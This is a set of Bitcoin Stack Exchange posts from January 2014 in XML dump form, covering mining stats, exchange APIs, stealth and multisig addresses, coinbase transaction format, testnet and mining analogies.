  <row Id="20703" PostTypeId="2" ParentId="20693" CreationDate="2014-01-16T22:08:13.923" Score="3" Body="&lt;pre&gt;&lt;code&gt;Each column is as follows:&#xA;  The number of devices and processors currently mining&#xA;  Hottest temperature reported by any processor&#xA;  5 second exponentially decaying average hash rate&#xA;  An all time average hash rate&#xA;  An all time average hash rate based on actual nonces found, adjusted for pool&#xA;      reject and stale rate&#xA;  The number of Accepted shares&#xA;  The number of Rejected shares and stale shares discarded (never submitted),&#xA;      and the percentage these are of total found.&#xA;  The number of HardWare errors, and percentage invalid of nonces returned&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11271" LastActivityDate="2014-01-16T22:08:13.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20704" PostTypeId="1" CreationDate="2014-01-16T22:25:03.133" Score="0" ViewCount="91" Body="&lt;p&gt;How do i get the mtgox bid , current_volume or other things using Bitcoincharts API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;code&gt;http://api.bitcoincharts.com/v1/trades.csv?symbol=mtgoxUSD&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gives you the latest trades...but what if i want only the bid value how would i do it using the url above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="12316" LastActivityDate="2014-01-17T00:19:12.993" Title="Bitcoincharts API get mtgox bid value" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20705" PostTypeId="2" ParentId="20701" CreationDate="2014-01-16T23:37:10.677" Score="11" Body="&lt;p&gt;This page on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Sx/Stealth&quot; rel=&quot;noreferrer&quot;&gt;bitcoin wiki&lt;/a&gt; explains the exact procedure for generating and using a stealth address. It's not very user friendly at this point in time and is considered experimental.&lt;/p&gt;&#xA;&lt;p&gt;Simply:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Receiver generates a an address and a private secret and then sends&#xA;this address to someone who he wants payment from.&lt;/p&gt;&#xA;&lt;p&gt;Sender uses the address and a &amp;quot;nonce&amp;quot; to generate the address he/she can send funds to.&lt;/p&gt;&#xA;&lt;p&gt;Sender communicates the nonce to the receiver and by using this&#xA;nonce and the secret key generated earlier he/she can unlock the address with&#xA;the funds.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The stealth addresses are based on the &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_curve_Diffie%E2%80%93Hellman&quot; rel=&quot;noreferrer&quot;&gt;Elliptic curve Diffie-Hellman&lt;/a&gt; protocol and in theory this method is anonymous. As this code is relatively new however there may possibly be bugs.&lt;/p&gt;&#xA;" OwnerUserId="10521" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-01-16T23:37:10.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20706" PostTypeId="2" ParentId="20704" CreationDate="2014-01-17T00:19:12.993" Score="1" Body="&lt;p&gt;I don't think bitcoin charts is exactly what you're after. If you MUST use it then you'll find the information you're looking for at &lt;a href=&quot;http://api.bitcoincharts.com/v1/markets.json&quot; rel=&quot;nofollow&quot;&gt;http://api.bitcoincharts.com/v1/markets.json&lt;/a&gt; however this includes all markets and not just mtgoxUSD (&lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;API overview is here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest using the mtGox API directly, information can be found at the &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki&lt;/a&gt; and this explains exactly how you could go about getting current volume etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the volume you would need to either look at the JSON displayed on this page &lt;a href=&quot;http://data.mtgox.com/api/1/BTCUSD/ticker&quot; rel=&quot;nofollow&quot;&gt;http://data.mtgox.com/api/1/BTCUSD/ticker&lt;/a&gt; or parse it into whatever language you're processing this data with.&lt;/p&gt;&#xA;" OwnerUserId="10521" LastActivityDate="2014-01-17T00:19:12.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20709" PostTypeId="1" AcceptedAnswerId="20737" CreationDate="2014-01-17T01:16:56.787" Score="2" ViewCount="555" Body="&lt;p&gt;Using Gavin Anderson's TwoOfThree.sh Gist located here:&#xA;&lt;a href=&quot;https://gist.github.com/gavinandresen/3966071&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/gavinandresen/3966071&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to verify the first &quot;partial&quot; signrawtransaction is valid from the known public key prior to performing the second signrawtransaction?  My goal is to be as close to sure as possible that the transaction will be accepted by the network prior to sending.  In this scenario I would already know that the bitcoins are spendable by the multisig address in question and that the appropriate transaction fee was included in the transaction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two steps are below.  Help appreciated!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ... Now I can partially sign it using one private key:&#xA;./bitcoind signrawtransaction '0100000001aca7f3b45654c230e0886a57fb988c3044ef5e8f7f39726d305c61d5e818903c0000000000ffffffff0140420f00000000001976a914ae56b4db13554d321c402db3961187aed1bbed5b88ac00000000' '[{&quot;txid&quot;:&quot;3c9018e8d5615c306d72397f8f5eef44308c98fb576a88e030c25456b4f3a7ac&quot;,&quot;vout&quot;:0,&quot;scriptPubKey&quot;:&quot;a914f815b036d9bbbce5e9f2a00abd1bf3dc91e9551087&quot;,&quot;redeemScript&quot;:&quot;52410491bba2510912a5bd37da1fb5b1673010e43d2c6d812c514e91bfa9f2eb129e1c183329db55bd868e209aac2fbc02cb33d98fe74bf23f0c235d6126b1d8334f864104865c40293a680cb9c020e7b1e106d8c1916d3cef99aa431a56d253e69256dac09ef122b1a986818a7cb624532f062c1d1f8722084861c5c3291ccffef4ec687441048d2455d2403e08708fc1f556002f1b6cd83f992d085097f9974ab08a28838f07896fbab08f39495e15fa6fad6edbfb1e754e35fa1c7844c41f322a1863d4621353ae&quot;}]' '[&quot;5JaTXbAUmfPYZFRwrYaALK48fN6sFJp4rHqq2QSXs8ucfpE4yQU&quot;]'&#xA;&#xA;{&#xA;        &quot;hex&quot; : &quot; &quot;,&#xA;        &quot;complete&quot; : false&#xA;}&#xA;&#xA;# ... and then take the &quot;hex&quot; from that and complete the 2-of-3 signatures using one of&#xA;# the other public keys (note the &quot;hex&quot; result getting longer):&#xA;./bitcoind signrawtransaction ' ' '[{&quot;txid&quot;:&quot;3c9018e8d5615c306d72397f8f5eef44308c98fb576a88e030c25456b4f3a7ac&quot;,&quot;vout&quot;:0,&quot;scriptPubKey&quot;:&quot;a914f815b036d9bbbce5e9f2a00abd1bf3dc91e9551087&quot;,&quot;redeemScript&quot;:&quot;52410491bba2510912a5bd37da1fb5b1673010e43d2c6d812c514e91bfa9f2eb129e1c183329db55bd868e209aac2fbc02cb33d98fe74bf23f0c235d6126b1d8334f864104865c40293a680cb9c020e7b1e106d8c1916d3cef99aa431a56d253e69256dac09ef122b1a986818a7cb624532f062c1d1f8722084861c5c3291ccffef4ec687441048d2455d2403e08708fc1f556002f1b6cd83f992d085097f9974ab08a28838f07896fbab08f39495e15fa6fad6edbfb1e754e35fa1c7844c41f322a1863d4621353ae&quot;}]' '[&quot;5JFjmGo5Fww9p8gvx48qBYDJNAzR9pmH5S389axMtDyPT8ddqmw&quot;]'&#xA;&#xA;{&#xA;        &quot;hex&quot; : &quot; &quot;,&#xA;        &quot;complete&quot; : true&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12321" LastActivityDate="2014-01-17T18:02:47.720" Title="Multi-Signature Transaction - Verify First Signature is Valid?" Tags="|transactions|verification|escrow|multi-signature|signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20712" PostTypeId="2" ParentId="11459" CreationDate="2014-01-17T04:06:07.640" Score="0" Body="&lt;p&gt;Like what jgm has said. In addition, you can call 'getrawtransaction TXID 1' on each transaction from the block you detected, via jsonrpc. That way, you can look at each transaction and check whether the in/out address matches the one you care about.&lt;/p&gt;&#xA;" OwnerUserId="11828" LastActivityDate="2014-01-17T04:06:07.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20713" PostTypeId="1" AcceptedAnswerId="20726" CreationDate="2014-01-17T05:24:33.063" Score="2" ViewCount="30543" Body="&lt;p&gt;I want to start litecoin mining and have following questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Given that I already have a desktop, and with the investment of &amp;lt; 500$ for GPUs, what is the best hardware to mine litecoins?&lt;/li&gt;&#xA;&lt;li&gt;Is it worth mining litecoins with such hardware?&lt;/li&gt;&#xA;&lt;li&gt;Are ASICs available for litecoin mining? If not, any possibility of them coming soon?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11969" LastEditorUserId="5406" LastEditDate="2016-04-17T20:46:43.467" LastActivityDate="2016-04-17T20:46:43.467" Title="What is the best consumer grade hardware for litecoin mining?" Tags="|litecoin|mining-hardware|" AnswerCount="2" CommentCount="1" ClosedDate="2014-08-10T23:33:37.743" ContentLicense="CC BY-SA 3.0" />
  <row Id="20716" PostTypeId="2" ParentId="6055" CreationDate="2014-01-17T07:52:59.577" Score="0" Body="&lt;p&gt;I'm glad to say that bargainhost.co.uk both accept BTC and allow anonymous registrations,so thats how i'll be paying from now&lt;/p&gt;&#xA;" OwnerUserId="12334" LastActivityDate="2014-01-17T07:52:59.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20718" PostTypeId="1" AcceptedAnswerId="20719" CreationDate="2014-01-17T08:41:51.893" Score="2" ViewCount="8978" Body="&lt;p&gt;With the probable increase in demand for multi-sig (P2SH) addresses, and since the procedure for creating such addresses requires that each participant provides the uncompressed public key for an address under their control, I find it surprising hard to find documentation on how to export the public key of a bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for the benefit of future searches: How exactly to you get the public key for an existing address for which you have a private key in bitcoin-qt?&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2014-11-04T18:01:41.187" Title="How to export public key for an address in bitcoin-qt?" Tags="|bitcoin-core|public-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20719" PostTypeId="2" ParentId="20718" CreationDate="2014-01-17T08:41:51.893" Score="6" Body="&lt;p&gt;And the answer is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;copy the address in question from your &quot;Receive&quot; address list&lt;/li&gt;&#xA;&lt;li&gt;Help -&gt; Debug window -&gt; Console&lt;/li&gt;&#xA;&lt;li&gt;type: &lt;code&gt;validateaddress &amp;lt;address&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;&amp;lt;address&amp;gt;&lt;/code&gt; is the address you copied in step 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command &lt;code&gt;validateaddress&lt;/code&gt; will output a number of key-value pairs, one of them being &lt;code&gt;&quot;pubkey&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: bitcoin-qt creates compressed keys (as you can check in the &lt;code&gt;iscompressed&lt;/code&gt; key-value). If you need uncompressed keys you can use something like &lt;a href=&quot;https://coinb.in/&quot; rel=&quot;noreferrer&quot;&gt;https://coinb.in/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8728" LastEditorUserId="8728" LastEditDate="2014-01-21T05:54:11.353" LastActivityDate="2014-01-21T05:54:11.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20720" PostTypeId="1" AcceptedAnswerId="20736" CreationDate="2014-01-17T08:55:53.227" Score="9" ViewCount="6125" Body="&lt;p&gt;This site shows you unconfirmed bitcoin transactions:&#xA;&lt;a href=&quot;https://blockchain.info/unconfirmed-transactions&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/unconfirmed-transactions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, these unconfirmed transactions are received and rebroadcast by every bitcoin client. Given that they are on my computer, how would I go about extracting this information (i.e. a list of all unconfirmed bitcoin transactions) from the bitcoin client?&lt;/p&gt;&#xA;" OwnerUserId="10466" LastActivityDate="2014-01-17T17:50:59.910" Title="Is it possible to view unconfirmed transactions with the bitcoin client?" Tags="|transactions|unconfirmed-transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20721" PostTypeId="1" CreationDate="2014-01-17T09:01:12.707" Score="22" ViewCount="10491" Body="&lt;p&gt;I'm trying to understand the format of the coinbase transaction. I've read that it is arbitrary and not specified. I'm wondering because I need to generate mining work and create an internal pool. As I've found out, you can change the &lt;code&gt;ntime&lt;/code&gt;, &lt;code&gt;nonce&lt;/code&gt; and &lt;code&gt;extranonce&lt;/code&gt; fields. The last one should be suited in the coinbase parameter, right? So, can anyone help me analyze the content of the coinbase transaction and how am I supposed to build one, so all miners in my pool could have different headers for hashing? A step-by-step guide on an existing block would be much appreciated, links and other stuff too. &lt;/p&gt;&#xA;" OwnerUserId="11187" LastEditorUserId="5406" LastEditDate="2016-03-02T06:34:25.483" LastActivityDate="2019-12-08T22:26:19.790" Title="What is the format of the coinbase transaction?" Tags="|mining-pools|coinbase-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20722" PostTypeId="1" AcceptedAnswerId="20723" CreationDate="2014-01-17T09:12:41.227" Score="2" ViewCount="114" Body="&lt;p&gt;Can you actually generate &quot;test&quot; coins using bitcoind and testnet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, in a standalone test environment, can the generation of &quot;simulated&quot; BTC be done and with very short test blockchain be done in a very short time?&lt;/p&gt;&#xA;" OwnerUserId="12336" LastActivityDate="2014-01-17T09:48:45.277" Title="gen option on bitcoind: testing" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20723" PostTypeId="2" ParentId="20722" CreationDate="2014-01-17T09:48:45.277" Score="0" Body="&lt;p&gt;Testnet is not a standalone test environment. It's an actual distributed block chain like the main chain. Only, because few people are mining on testnet, &lt;a href=&quot;https://blockexplorer.com/q/testnet/getblockcount&quot; rel=&quot;nofollow&quot;&gt;the difficulty is quite low&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, you can generate test coins on testnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beside this, it is possible to create a very own standalone test environment, but it would require you to edit the source code. Specifically, you will need to change the (hard coded) genesis block and most probably remove the peer seeds because you don't want to bother mainnet or testnet users with your own blocks.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-17T09:48:45.277" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20724" PostTypeId="2" ParentId="20721" CreationDate="2014-01-17T09:54:48.823" Score="7" Body="&lt;p&gt;Look at block &lt;a href=&quot;https://blockchain.info/block-index/461072/0000000000000002001dfbeaf7a89087854de6aa3928bbcbbd28a60d286a85c1&quot;&gt;#280963&lt;/a&gt;. Look at coinbase transaction &lt;a href=&quot;https://blockchain.info/tx/d1c6b8140246950475735394b0ac68f9ada60d313d2b5308afbc569c84f7fd08&quot;&gt;d1c6b8...fd08&lt;/a&gt;. You can see CoinBase data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;038349040d00456c69676975730052d8f72ffabe6d6dd991088decd13e658bbecc0b2b4c87306f637828917838c02a5d95d0e1bdff9b0400000000000000002f73733331312f00906b570400000000e4050000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a script. Look at &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot;&gt;wiki&lt;/a&gt; for details. In coinbase transaction this script can contain any data. If you change this data, merkle root will change as well, and diffirent miners can start changing nonce/timestamp for merlke root, that you provides for them. Look at &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Merkle_Trees&quot;&gt;wiki&lt;/a&gt; for more information about merkle tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase transaction contains single input. This is input is not used, and it contains 32 bytes zeros as previous tx. Look at &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot;&gt;wiki&lt;/a&gt; for more information about what data transaction contains. I provide as example of decoding raw coinbase transaction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; getrawtransaction d1c6b8140246950475735394b0ac68f9ada60d313d2b5308afbc569c84f7fd08&#xA;&amp;lt; 01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff53038349040d00456c69676975730052d8f72ffabe6d6dd991088decd13e658bbecc0b2b4c87306f637828917838c02a5d95d0e1bdff9b0400000000000000002f73733331312f00906b570400000000e4050000ffffffff01bf208795000000001976a9145399c3093d31e4b0af4be1215d59b857b861ad5d88ac00000000&#xA;&#xA;01000000 - version&#xA;01 - input count&#xA;0000000000000000000000000000000000000000000000000000000000000000 - prev tx&#xA;ffffffff - prev out n&#xA;53 - length of coinbase script&#xA;038349040d00456c69676975730052d8f72ffabe6d6dd991088decd13e658bbecc0b2b4c87306f637828917838c02a5d95d0e1bdff9b0400000000000000002f73733331312f00906b570400000000e4050000 - coinbase script&#xA;ffffffff - sequence&#xA;01 - output count&#xA;bf20879500000000 - 2508660927, satoshi count, or 25.08660927 BTC&#xA;19 - script length&#xA;76a9145399c3093d31e4b0af4be1215d59b857b861ad5d88ac - script&#xA;00000000 - locktime&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10411" LastActivityDate="2014-01-17T09:54:48.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20725" PostTypeId="2" ParentId="20721" CreationDate="2014-01-17T12:44:46.260" Score="22" Body="&lt;p&gt;A coinbase transaction follows the same format as a normal transaction, except:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It has exactly one txin&lt;/li&gt;&#xA;&lt;li&gt;This txin's prevout hash is 0000...0000.&lt;/li&gt;&#xA;&lt;li&gt;This txin's prevout index is 0xFFFFFFFF&lt;/li&gt;&#xA;&lt;li&gt;The txin's prevout script is an arbitrary byte array (it doesn't have to be a valid script, though this is commonly done anyway) of 2 to 100 bytes. It has to start with a correct push of the block height (see BIP34).&lt;/li&gt;&#xA;&lt;li&gt;The sum of the txout's values cannot exceed the subsidy (25 BTC for now, halves every 210000 blocks) plus the fees of the non-coinbase transactions in the same block.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;About the scriptSig being an arbitrary byte array, there is one caveat: the checksig operations in it are counted towards the block sigop limit (20000), so you probably don't want to accidentally trigger this. Making it a list of just push operations (including of the extranonce) avoids that.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-01-17T12:44:46.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20726" PostTypeId="2" ParentId="20713" CreationDate="2014-01-17T13:03:43.557" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Given that I already have a desktop, and with the investment of &amp;lt; 500$ for GPUs, what is the best hardware to mine litecoins? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You would probably want to invest in 1 AMD Radeon card, for example 280x or 290. This is private opinion based, but AMD seems to provide good hash rate for money. Have a look at &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;litecoin hardware comparison&lt;/a&gt; site for the estimated hash rate.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it worth mining litecoins with such hardware? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you can get around 750 KH/s, this would yield around $130 over 30 days (&lt;a href=&quot;https://www.litecoinpool.org/calc?hashrate=750&amp;amp;difficulty=3931.59487261&amp;amp;power=50&amp;amp;energycost=0.10&amp;amp;currency=USD&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;). Note the price is fluctuating a lot, so by no means this is set in stone.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are ASICs available for litecoin mining? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, there aren't at the moment. It takes time to develop and test custom circuit. Not advertising here, but &lt;a href=&quot;https://alpha-t.net/terms-order/&quot; rel=&quot;nofollow&quot;&gt;this company&lt;/a&gt; appears to offer two models: 5 MH/s (£1350) and 25 MH/s (£5450) with the release date due in Q2-Q3 2014. It's up to you if you would trust them and pay a deposit. Obviously, there will be many others cooking similar stuff in the next half a year (Q1-Q2 2014).&lt;/p&gt;&#xA;" OwnerUserId="11862" LastEditorUserId="11862" LastEditDate="2014-02-03T13:06:07.007" LastActivityDate="2014-02-03T13:06:07.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20727" PostTypeId="2" ParentId="20649" CreationDate="2014-01-17T13:12:42.833" Score="9" Body="&lt;p&gt;I'll try to give a list of the cases I know of. Whether these are considered bugs or implementation oddnesses is debatable, I guess.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The genesis block's coinbase output cannot be spent.&lt;/li&gt;&#xA;&lt;li&gt;The OP_CHECKMULTISIG and OP_CHECKMULTISIGVERIFY operations pop one element too much from the stack (requiring an extra dummy push in the redeem script).&lt;/li&gt;&#xA;&lt;li&gt;The checksig operations in a coinbase's scriptSig count towards the sigop limit of a block, even though that script can never be executed.&lt;/li&gt;&#xA;&lt;li&gt;Encoded public keys and signatures are valid if and only if OpenSSL accepts them, including the many non-standard or simply broken encodings it accepts. Since 0.8, such non-canonical encodings are considered non-standard, but still valid inside blocks.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-01-17T13:12:42.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20728" PostTypeId="2" ParentId="18812" CreationDate="2014-01-17T13:48:38.903" Score="3" Body="&lt;p&gt;Imagine News City, where everyone is a newspaper editor competing to create the next day's newspaper. Only one newspaper editor's draft will make it into print, and its editor wins a fat check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over the course of the day there is a lot of events happening. Each newspaper editor will eventually gain knowledge of each event through word of mouth, but they hear about them in different orders and with different delays. Upon receiving news about an event, each newspaper editor will verify the event's validity, then discard bogus events and any events that were already previously published. If there is exceptionally many events, he might also need to select which ones are the most newsworthy and rewarding, as there are only so many pages available per issue, leaving the remaining events to be published the next day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the news editors as a group would never be able to decide without envy whose news selection should be printed (since every one put at least one draft in), News City has hired a notary in Monte Carlo that randomly picks some words from a dictionary for each upcoming issue, of which one must be used somewhere in the draft in order for it to qualify. Every editor may turn in one draft at a time, but when it doesn't qualify, follow-up with another as often as he wants. They might be scrambling the selection of the articles or adding quotes from famous people to vary the used words, in order to win the prize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The incorruptible notary will forward a winning draft to the printer immediately, and also publish the list of words that would have won. He is contracted to aim to have one issue per day. So, when he gets a lot of submissions, the issue might be a bit early, and he will pick fewer qualifying words for the next issue trying to keep the editors busy for a whole day before coming up with a new qualifying draft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The events here are Bitcoin transactions, the newspaper editors the miners, the incorruptible notary is the Bitcoin protocol, &quot;a day&quot; the 10 minute block interval, and the word-picking scheme portraits the difficulty.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-01-17T14:07:31.233" LastActivityDate="2014-01-17T14:07:31.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20729" PostTypeId="2" ParentId="18812" CreationDate="2014-01-17T15:37:16.067" Score="2" Body="&lt;p&gt;First, tell them that mining is a very bad analogy and they should forget it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to think of it like people buying Wonka bars in an attempt to find the Golden Ticket.  Everybody who works on securing the blockchain is trying to find some unknown number that, when combined with a number from the blockchain, achieves a desired result. The first person to find it, wins the rewards (transaction fees + new coins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more numbers you try, the better your chances of finding the special number before anyone else.  The protocol adjusts automatically: as more people work on finding the magic number, the harder it becomes to find.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Few people &quot;mine&quot; by themselves these days.  People band together in pools to split up the work, and then share the rewards.  Instead of having a small chance to find a huge reward, you get a steady stream of bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="4139" LastActivityDate="2014-01-17T15:37:16.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20730" PostTypeId="2" ParentId="18812" CreationDate="2014-01-17T16:12:01.957" Score="1" Body="&lt;p&gt;I like the analogy of solving a Rubik's Cube or a Sudoku puzzle. The clearest part (in my opinion) of that analogy is &quot;hard to solve, trivial to verify&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second part of your question, using an ASIC could be like being able to work on hundreds or thousands of Rubik's Cubes (or Sudoku puzzles) all at the same time.&lt;/p&gt;&#xA;" OwnerUserId="9654" LastActivityDate="2014-01-17T16:12:01.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20731" PostTypeId="1" CreationDate="2014-01-17T16:43:58.610" Score="0" ViewCount="174" Body="&lt;p&gt;As far as i know that online wallets as Blockchain.info is a Bitcoind instance that gives each user an &lt;em&gt;Account&lt;/em&gt; and each account related to multiple addresses through JSON-RPC calls, how blockchain.info backup wallet of individual account ? i imagine that all accounts are stored in a single wallet.dat ! or does blockchain.info has wallet.dat for every account ?&lt;/p&gt;&#xA;" OwnerUserId="12049" LastActivityDate="2014-01-17T17:01:06.323" Title="Backup wallet of single account" Tags="|wallet|backup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20732" PostTypeId="2" ParentId="18812" CreationDate="2014-01-17T16:50:29.347" Score="0" Body="&lt;p&gt;There are two aspects to mining. The first is functional aspect (what is it supposed to achieve) and the second is the technical aspect (what is going on under the hood).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of clarity I'll deal with both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the (very) long term the process of mining is about approving transactions and making them unchangeable once a block of transactions has been included into the blockchain. The Blockchain is a ledger of all transactions that has ever occured. A block is just a group of the latest transactions that when grouped together meet certain technical requirements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a reward for doing this (again in the long term) a miner can receive the transaction fees. &#xA;In the short term, and as an incentive for early adopters, the miners are given an additional bonus: they receive a reward of 25 bitcoins for &quot;discovering&quot; a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK this is where it gets technical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process of block &quot;discovery&quot; is where a mining rig is required to run through a repeating process called &quot;hashing&quot;. In laymans terms - hashing is jumbling and mixing up some text in a such a way as to arrive at a repeatable outcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words if somebody else was to perform the task with the same starting point, they would also arrive at the same end point: the same sequence of jumbled letters and numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what are the miners looking to discover? They are looking to discover (or more specifically be &lt;em&gt;the first to discover&lt;/em&gt; a hash result that starts with a series of zeros.&#xA;It is a lottery and in order to do that the miner must use a combination of things: the transactions it is receiving, the previous block are just two, and put that information into it's hashing machine and check each result to see if it matches a hash with the right number of zeros. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once they have done that - they publish the result to the network, and every other node checks the results for correctness. The result is easy to reproduce once someone knows what is required to go into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a third thing that I didn't mention - equally important but easy to grasp: the miner must check each transaction against its own copy of the ledger to validate that each transaction is genuine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously if you want to win this lottery computing power is required, therefore more and more specialised equipment is needed. An ASIC is a chip that only does one task: hashing. Therefore it can be designed in such a way as to perform the task as fast as physically possible, and for this reason it has a much better chance of winning the reward of the 25BTCs and the transaction fees for all the transactions in the block.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastEditorUserId="5157" LastEditDate="2014-01-17T16:58:21.277" LastActivityDate="2014-01-17T16:58:21.277" CommentCount="0" CommunityOwnedDate="2014-01-17T16:58:21.277" ContentLicense="CC BY-SA 3.0" />
